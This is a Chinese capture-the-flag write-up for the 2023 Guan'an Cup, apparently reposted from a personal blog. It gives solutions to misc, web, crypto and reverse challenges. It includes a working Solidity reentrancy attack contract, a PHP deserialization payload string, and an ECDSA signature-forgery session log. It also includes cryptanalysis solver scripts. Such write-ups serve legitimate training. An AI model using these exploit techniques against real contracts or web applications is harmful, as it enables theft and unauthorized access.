2023 观安杯

admin 2024年9月28日11:55:22评论17 views字数 8472阅读28分14秒阅读模式

周四和同事组队“江苏金盾”参加了上海观安杯,我只做出了两道密码和一道智能合约,被队友带飞!虽然但是,题目不算特别难,但还是被卡到了。

2023 观安杯

[TOC]

MISC

misc_BaseEncoding

base100

2023 观安杯

flag: ISG{DfGp3szC69788YcQcNyQBDhzBwYsj9eP}

misc_BabyWaterMark

foremost分离

2023 观安杯

然后来个基操双图盲水印

python bwmforpy3.py decode BabyWaterMarkAttachment_29EF90h_41FB1h.png BabyWaterMarkAttachment.png flag.png

2023 观安杯

flag: ISG{ykhmcfm}

misc_BabyContract

2023 观安杯

由于bet方法里面在改变 betted[msg.sender] 状态之前调了一个 call,所以这里可以造成重入攻击,我们重入 bet 10 次即可。

攻击脚本。

1234567891011121314151617181920212223
... // 题目源码contract exp {    Challenge public cha;    uint256 public count;    constructor(address _cha)  {        cha = Challenge(_cha);    }    function go() public {        cha.bet(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));        cha.checkwin();    }    receive() payable external {        if (count < 11) {            count++;            cha.bet(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));        }    }}

misc_babypng

这道题是赛后做出来的,根据题目信息采用的加密算法是 AES,通过改变图片高度,我们得到

2023 观安杯

直接跑 zsteg 能够得到隐写信息

2023 观安杯

比赛的时候尝试对两端密文进行解密,无果。

赛后发现第二段密文是不重复的,遂考虑是 base64 的表,于是

2023 观安杯

WEB

web_babyserialize

123456
$a = new o_hjldg;$a->mod1 = new o_dfgdf;$a->mod1->mod1 = new o_podjg;$a->mod1->mod1->mod1 = new o_iojnd;$a->mod1->mod1->mod1->mod1 = new o_lijog;echo urlencode(serialize($a));

?welcome=O:7:"o_hjldg":1:{s:4:"mod1";O:7:"o_dfgdf":1:{s:4:"mod1";O:7:"o_podjg":2:{s:4:"mod1";O:7:"o_iojnd":1:{s:4:"mod1";O:7:"o_lijog":0:{}}s:4:"mod2";N;s:1:"mod2";N;}}}

绕过throw new Exception('What happened?');即可

Crypto

crypto_PellCurve

参考论文: 《A Note on Cyclic Groups, Finite Fields, and the Discrete Logarithm Problem》

这里的 D=2 是模 p 下二次非剩余,所以对照,2023 观安杯

发现曲线的阶是 $p+1$,并且是光滑的,

所以按论文构造映射,解离散对数,从而计算协商密钥并解密获得flag

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
from Crypto.Util.number import *from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom hashlib import sha1from sage.all import *from collections import namedtupleimport randomPoint = namedtuple("Point", ["x", "y"])class SpecialCurve:    def __init__(self, p, D):        self.p = p        self.D = D    def on_curve(self, P):        x, y = P        return (x**2 - self.D*y**2) % self.p == 1    def add(self, P1, P2):        assert self.on_curve(P1)        assert self.on_curve(P2)        x1, y1 = P1        x2, y2 = P2        x3 = (x1*x2 + self.D*y1*y2) % self.p        y3 = (x1*y2 + y1*x2) % self.p        return (x3, y3)    def mul(self, P, n):        assert self.on_curve(P)        Q = (1, 0)        while n > 0:            if n % 2 == 1:                Q = self.add(Q, P)            P = self.add(P, P)            n = n//2        return Qdef point_addition(P, Q):    Rx = (P.x*Q.x + D*P.y*Q.y) % p    Ry = (P.x*Q.y + P.y*Q.x) % p    return Point(Rx, Ry)def scalar_multiplication(P, n):    Q = Point(1, 0)    while n > 0:        if n % 2 == 1:            Q = point_addition(Q, P)        P = point_addition(P, P)        n = n//2    return Qdef gen_keypair():    private = random.randint(1, p-1)    public = curve.mul(G, private)    return (public, private)def gen_shared_secret(P, d):    return curve.mul(P, d)[0]def encrypt_flag(shared_secret: int, flag: bytes):    # Derive AES key from shared secret    key = sha1(str(shared_secret).encode('ascii')).digest()[:16]    # Encrypt flag    iv = bytes.fromhex('9d01ed1cf32d36b3ad2e876470a7c966')    cipher = AES.new(key, AES.MODE_CBC, iv)    ciphertext = cipher.decrypt(pad(flag, 16))    # Prepare data to send    data = {}    data['iv'] = iv.hex()    data['encrypted_flag'] = ciphertext    return datap = 836488666822961839692956332151705074188888980171D = 2curve = SpecialCurve(p, D)G = Point(763750521881834723197916651095035067737681242766, 181845362352817791237599202641675016128019343515)A = Point(240757557526671714465376396162227403433173837263, 447777665718794567579895418261874001858417574820)B = Point(520194352719976455803701872304289944494436419362, 585336922933508707693715789885559439807561539251)Fx.<W> = GF(p)[]F.<W> = GF(p^2,modulus = W^2-D)g = G.x+W*G.yh = A.x+W*A.yn_a = discrete_log(h,g,p+1)shared_secret = gen_shared_secret(B, n_a)print(f'flag: {encrypt_flag(shared_secret, bytes.fromhex("d1d590779fe7b631f4fce84573175a5049dba0e30e52b53319111e2b39beedb12b94fdff314524857a928407e34ac183"))}')# flag: {'iv': '9d01ed1cf32d36b3ad2e876470a7c966', 'encrypted_flag': b'ISG{P31l_CuRv3_1s_4m4z1ng_1sssnnt_1i1it??!?}\x04\x04\x04\x04\x911\x11\xd0\xc6\xe5\xc3\xb4\xe3+\xc5e\xbf\xdapt'}

由于知道阶是 p+1,并且光滑,因此也可以自己实现一个 pohlig-hellman 算法进行该曲线下离散对数的求解。

crypto_babyhash

(这道题也是赛后出的,因为比赛的时候偷懒了)

题目使用 ecdsa 对固定消息 b'{"admin": false, "username": "v"}' 进行签名(其中 username 可控,但只能为字母数字)

我们需要给到一个消息以及对应签名,需要使得 admin 不为 false

由于 ecdsa 用的是现成的库,实现应该没问题,再根据题目的名字。问题应该是在 hash 上。

既然签名这边没法操作,那么肯定还是要用到服务端给的签名,于是问题变成了 如何构造消息使得哈希结果不变

一通操作后发现这个 Hash 用的 AES,并且 data 做 key,基本也没什么问题。唯一有点异常的是,这个 Hash 的输出结果是变长的,也就是哈希结果的长度和消息相关,这是不符合一个哈希函数的性质的。

比赛的时候想当然的以为签名的时候直接把哈希的结果化成整数然后模了椭圆曲线的 n,但赛后翻了下源码发现不是的

定位到源码 ecdsa/keys 的 sign 函数

2023 观安杯

继续跟

2023 观安杯

再跟

2023 观安杯

可以发现这里是直接截取了 Hash 结果的前面部分。(其实这样子实现并没有什么问题,因为正常的哈希函数,原消息任何一个字节的变动都会使得结果完全不同)

而由于题目自定义的 hash 函数用的分组密码,后面部分的变动不会影响到前面部分,于是我们直接在 msg 里把 admin 的值覆盖就行

即先注册得到一个 sig,然后传这样的 msg 过去: b'{"msg": "{\"admin\": false, \"username\": \"v\", \"admin\": True}", "sig": "e512e21389887ffa0273a5eb8011caea6c1a70e9017d7a1ce7cf124ce4457b5d4f7bc726ccffd8adfedece68290ccc51"}'

下面是本地测试的一个log

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657
[root@VM-0-7-centos ~]# python3 pow.py [+] Opening connection to 0.0.0.0 on port 10501: Done[DEBUG] Received 0x64 bytes:    b'sha256(XXXX + 8YxeYT9SZtTQWMVi) == 6717147b134f4b23e55b7d46a13e07034052cf1817f5b6b47a2315dcae04991a\n'[+] 8YxeYT9SZtTQWMVi[+] MBruteforcing: Found key: "56f2"[DEBUG] Received 0xe bytes:    b'Give me XXXX:\n'[DEBUG] Sent 0x5 bytes:    b'56f2\n'[*] Switching to interactive mode[DEBUG] Received 0x35 bytes:    b'Input your choice:\n'    b'[1] Sign in\n'    b' [2] Verify\n'    b' [3] Exit\n'Input your choice:[1] Sign in [2] Verify [3] Exit$ 1[DEBUG] Sent 0x2 bytes:    b'1\n'[DEBUG] Received 0x15 bytes:    b'Input your username:\n'Input your username:$ v[DEBUG] Sent 0x2 bytes:    b'v\n'[DEBUG] Received 0xb1 bytes:    b'Your signature: {"sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}\n'    b'Input your choice:\n'    b'[1] Sign in\n'    b' [2] Verify\n'    b' [3] Exit\n'Your signature: {"sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}Input your choice:[1] Sign in [2] Verify [3] Exit$ 2[DEBUG] Sent 0x2 bytes:    b'2\n'[DEBUG] Received 0x2a bytes:    b'Input your msg and sigature in JSON form:\n'Input your msg and sigature in JSON form:$ {"msg": "{\"admin\": false, \"username\": \"v\", \"admin\": true}", "sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}[DEBUG] Sent 0xaf bytes:    b'{"msg": "{\\"admin\\": false, \\"username\\": \\"v\\", \\"admin\\": true}", "sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}\n'[DEBUG] Received 0x7f bytes:    b'{"status": "success", "msg": "You are admin", "flag": "flag{local_flag}"}\n'    b'Input your choice:\n'    b'[1] Sign in\n'    b' [2] Verify\n'    b' [3] Exit\n'{"status": "success", "msg": "You are admin", "flag": "flag{local_flag}"}

crypto_FakeRSA

根据费马小定理,$g_1=g^{r_2\cdot(p-1)} \equiv 1 \pmod p $,因此计算 $GCD(g_1-1,N)$ 即可分解 $N$ 得到 $p,q$

并且 $c_1 \equiv m^e \pmod p$

所以直接在模 $p$ 的子群解 RSA 即可

123456789101112131415161718192021
crypto_babyhash>>> from Crypto.Util.number import *>>> GCD(g_1-1,N)111866001595705655206136101183020283197874784564101493674980072230706986621677629046311220819399015547681597499348897098872254615480124748759743148928336575047822392051861863619982415218046812002241845788648037149530444493909391236257727261773494119463536881195141104243034812239267577941105331754977704967553>>> p = _>>> q = N//p>>> q177423165686692292535125467170763440629453982724759326486562915864587878875511045350415150838968045180308872118575286392919817985392223911818278263468450869279061387755799396071519424166274644281164897872306855424311984577812678894508559267358595060341140760813495828548201938689492558921146997843581304622799>>> p*q==NTrue>>> g_1%p1>>> e65537>>> d = inverse(e,p-1)>>> pow(c_1,d,p)208186228126828870953942897018890776421966825291013662975373407466167240240777892074744906116957385869035779338741483005350317628141949>>> p111866001595705655206136101183020283197874784564101493674980072230706986621677629046311220819399015547681597499348897098872254615480124748759743148928336575047822392051861863619982415218046812002241845788648037149530444493909391236257727261773494119463536881195141104243034812239267577941105331754977704967553>>> long_to_bytes(208186228126828870953942897018890776421966825291013662975373407466167240240777892074744906116957385869035779338741483005350317628141949)b'ISG{feRmat_l1111ttllle_the0o0o0rem_is1s1s_v33ry_us3efu1}'

REVERSE

rev_babyrev

UPX加壳了,还把标志位改了。标志位修改回来之后upx -d会报错,那不管了直接带壳调。

跳过壳的代码发现是Rust写的。还有个反调试,直接改标志位就行了。

之后会判断长度是否为0x20

2023 观安杯

下边的SSE指令就为加密,加密的同时会进行check比较,题目给出第一个字符是0x49,可以写出exp求出后续所有字符。

12345678910
flag = ''num = [0x49, 0x1a, 0x14, 0x3c, 0x13, 0x22, 0x2f, 0x15, 0x49, 0x4d, 0x20, 0x61, 0x62, 0x1b, 0x26, 0x30, 0x2a, 0x19, 0x7, 0x5, 0xd, 0x16, 0x1, 0x9, 0x14, 0x7, 0x2, 0x1d, 0x4c, 0x8, 0x78, 0x35]sum = 0for i in range(len(num)):    sum ^= num[i]    flag += chr(sum)print flag

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:55:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 观安杯http://cn-sec.com/archives/3093696.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息